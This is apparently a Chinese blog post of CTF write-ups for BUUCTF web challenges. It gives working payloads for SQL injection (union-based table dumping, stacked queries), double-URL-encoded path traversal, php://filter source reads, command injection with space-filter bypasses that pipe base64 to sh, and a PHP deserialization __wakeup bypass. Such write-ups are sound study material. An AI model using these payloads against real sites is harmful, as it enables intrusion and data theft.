您当前的位置: 首页 > 

ThnPkm

暂无认证

  • 3浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

buuctf web1

ThnPkm 发布时间:2022-03-11 22:59:32 ,浏览量:3

目录

 [极客大挑战 2019]EasySQL

 [HCTF 2018]WarmUp

 [极客大挑战 2019]Havefun

 [ACTF2020 新生赛]Include

[强网杯 2019]随便注

[SUCTF 2019]EasySQL

[ACTF2020 新生赛]Exec

 [极客大挑战 2019]Secret File

[GXYCTF2019]Ping Ping Ping

 方法一、sh,bash下编码

 方法二、内联执行

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Knife

 [极客大挑战 2019]Http

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload 

[RoarCTF 2019]Easy Calc

[极客大挑战 2019]BabySQL 

[极客大挑战 2019]PHP

[ACTF2020 新生赛]BackupFile

[极客大挑战 2019]BuyFlag

[BJDCTF2020]Easy MD5

[SUCTF 2019]CheckIn

[极客大挑战 2019]HardSQL

[MRCTF2020]你传你🐎呢

[MRCTF2020]Ez_bypass

[GYCTF2020]Blacklist

[CISCN2019 华北赛区 Day2 Web1]Hack World

 [极客大挑战 2019]EasySQL

万能密码

 [HCTF 2018]WarmUp

 参考大佬wp  [HCTF 2018]WarmUp - AlexANSO - 博客园

hint.php告诉了flag的文件名ffffllllaaaagggg

依然还是先慢慢看懂代码意思 ,遇到不清楚的句子就去查,搁置了很久学了一些php类才慢慢去理解

核心要求

  • 传入file参数不为空
  • file是字符串
  • file被checkFile引用,并且返回true

然后就是要满足checkFile()的要求(file就相当于是page)

  • 第一个if, page变量不为空,是字符串
  • 第二个if,传入的page在白名单中
  • 第三个if,这里就是最难理解的,该代码表示截取$page中'?'前部分,若无则截取整个$page,截取page ?之前的字符赋给_page,判断_page是否在白名单中
  • 第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,
  • 浏览器本身会url解码一次,所以要解码两次再得到source.php或hint.php,那么我们就需要url编码两次,一般来说英语字符url后还是本身,所以对?进行两次url编码就行。不过我试了,全部url编码两次也可以,就是payload长了点
                        这里仅是?url编码两次
/source.php?file=source.php%253f../../../../../ffffllllaaaagggg


/source.php?   这里是hint.php? 进行url编码两次
file=%2568%2569%256e%2574%252e%2570%2568%2570%253f../../../../../ffffllllaaaagggg

还有一个坑点,就是用利用 ../ 返回上一级来遍历任意文件,多写几个没问题,不能少

(像这种题跟着wp一步一步理解都费尽,日常破防,继续加油吧)

 [极客大挑战 2019]Havefun

 

/?cat=dog
 [ACTF2020 新生赛]Include
/?file=php://filter/convert.base64-encode/resource=flag.php

[强网杯 2019]随便注

[强网杯 2019]随便注 1 - ZM思 - 博客园

主要是过滤了select等单词

重命名+堆叠注入

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

0';rename table words to words1
  ;rename table `1919810931114514` to words
  ;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE            utf8_general_ci NOT NULL
  ;desc  words;#

最后再1' or 1=1# 

[SUCTF 2019]EasySQL

各种试了个遍,还是堆叠注入,看了wp也不太理解,各种看吧

BUUCTF--Web--[SUCTF 2019]EasySQL_一只小白来了的博客-CSDN博客_buuctf easysql

select 1 from table where的作用? - ITCHN - 博客园

[ACTF2020 新生赛]Exec

127.0.0.1;ls

127.0.0.1;ls /

127.0.0.1;cat /flag 

 [极客大挑战 2019]Secret File

 


    secret
    

根据代码意思,我们需要的东西放在了flag.php文件里面,但是这边过滤了一些文件访问的协议,但是有一个协议没有被过滤就是php协议,

所以构造如下payload:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

[GXYCTF2019]Ping Ping Ping

过滤了某些字符,空格,flag等

[GXYCTF2019]Ping Ping Ping(RCE)_xlcvv的博客-CSDN博客

[GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客

$IFS$1代替空格

 方法一、sh,bash下编码

用sh,sh没过滤

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

 Y2F0IGZsYWcucGhw是cat flag.php的base64

 方法二、内联执行
/?ip=127.0.0.1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

注意顺序.*

[极客大挑战 2019]LoveSQL

 跳转到check.php,在这里进行注入

 判断字段数

/check.php?username=admin' order by 3%23&password=1  成功
/check.php?username=admin' order by 4%23&password=1  报错
在这里%23就是#的url编码

判断回显点 

/check.php?username=-1' union select 1,2,3%23&password=1

爆库 表 列

/check.php?username=-1' union select 1,2,database()%23&password=1

/check.php?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1

/check.php?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'%23&password=1

/check.php?username=-1' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1%23&password=1

[极客大挑战 2019]Knife

 蚁剑连

 [极客大挑战 2019]Http

眼神!!!

Referer!!!

 User-Agent !!!

 X-Forward-For!!!

[极客大挑战 2019]Upload

过滤了

index.php 

 

思路是比较清晰的,要求反序列化后username=admin和password=100,这其中只需要绕过一些魔法方法就行了

 $res进行返序列化$select,$select 传入序列化形式的payload,所以精心构造$select就行

得到:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

为了绕过__wakeup ,改大属性个数

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

因为属性是private私有,要在类名和属性名前加%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

 最终payload:

/index.php/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[ACTF2020 新生赛]BackupFile

看wp都是用dirsearch扫出来后缀的 index.php.bak

            
关注
打赏
1660722558
查看更多评论
0.0418s